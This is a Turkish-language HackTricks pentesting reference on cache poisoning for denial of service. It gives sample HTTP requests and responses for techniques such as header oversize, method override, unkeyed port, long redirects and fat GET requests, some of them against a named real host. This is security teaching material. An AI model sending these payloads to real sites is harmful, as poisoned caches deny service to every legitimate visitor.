Cache Poisoning to DoS

Support HackTricks

Bu sayfada, önbellek sunucuları için geçerli olan isteklere web sunucusunun hatalarla yanıt vermesini sağlamak için denemek üzere farklı varyasyonlar bulabilirsiniz.

  • HTTP Header Oversize (HHO)

Web sunucusunun desteklediğinden daha büyük ama önbellek sunucusunun desteklediğinden daha küçük bir başlık boyutuyla bir istek gönderin. Web sunucusu, önbelleğe alınabilecek bir 400 yanıtı ile yanıt verecektir:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Karakteri (HMC) & Beklenmeyen Değerler

Zararlı meta karakterler içeren bir başlık gönderin, örneğin ve . Saldırının çalışması için önce önbelleği aşmalısınız.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Kötü yapılandırılmış bir başlık sadece \: olarak bir başlık olabilir.

Bu, beklenmeyen değerler gönderildiğinde de çalışabilir, örneğin beklenmeyen Content-Type: gibi.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Anahtarsız başlık

Bazı web siteleri, X-Amz-Website-Location-Redirect: someThing başlığı gibi istekteki belirli başlıkları gördüklerinde bir hata durum kodu döndürecektir:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Yöntem Aşımı Saldırısı (HMO)

Eğer sunucu X-HTTP-Method-Override, X-HTTP-Method veya X-Method-Override gibi başlıklarla HTTP yöntemini değiştirmeyi destekliyorsa, sunucu tarafından desteklenmeyen bir yöntemle geçerli bir sayfa talep etmek mümkündür, böylece kötü bir yanıt önbelleğe alınır:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Anahtarsız Port

Eğer Host başlığındaki port, yanıtta yansıtılıyorsa ve önbellek anahtarına dahil edilmemişse, kullanılmayan bir porta yönlendirmek mümkündür:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Uzun Yönlendirme DoS

Aşağıdaki örnekte olduğu gibi, x önbelleğe alınmıyor, bu nedenle bir saldırgan, yönlendirme yanıt davranışını kötüye kullanarak yönlendirmenin o kadar büyük bir URL göndermesini sağlayabilir ki bu bir hata döndürsün. Ardından, önbelleğe alınmamış x anahtarı olmadan URL'ye erişmeye çalışan kişiler hata yanıtı alacaklar:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Host başlığı büyük/küçük harf normalizasyonu

Host başlığı büyük/küçük harf duyarsız olmalıdır ancak bazı web siteleri bunun küçük harfle yazılmasını bekler ve eğer değilse bir hata döner:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Yol normalizasyonu

Bazı sayfalar, yolda veri URLencode gönderildiğinde hata kodları döndürecektir, ancak, önbellek sunucusu yolu URLdecode edecek ve yanıtı URLdecoded yol için saklayacaktır:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Bazı önbellek sunucuları, Cloudflare gibi, veya web sunucuları, gövdesi olan GET isteklerini durdurur, bu nedenle geçersiz bir yanıtı önbelleğe almak için kötüye kullanılabilir:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referanslar

HackTricks'i Destekleyin

Last updated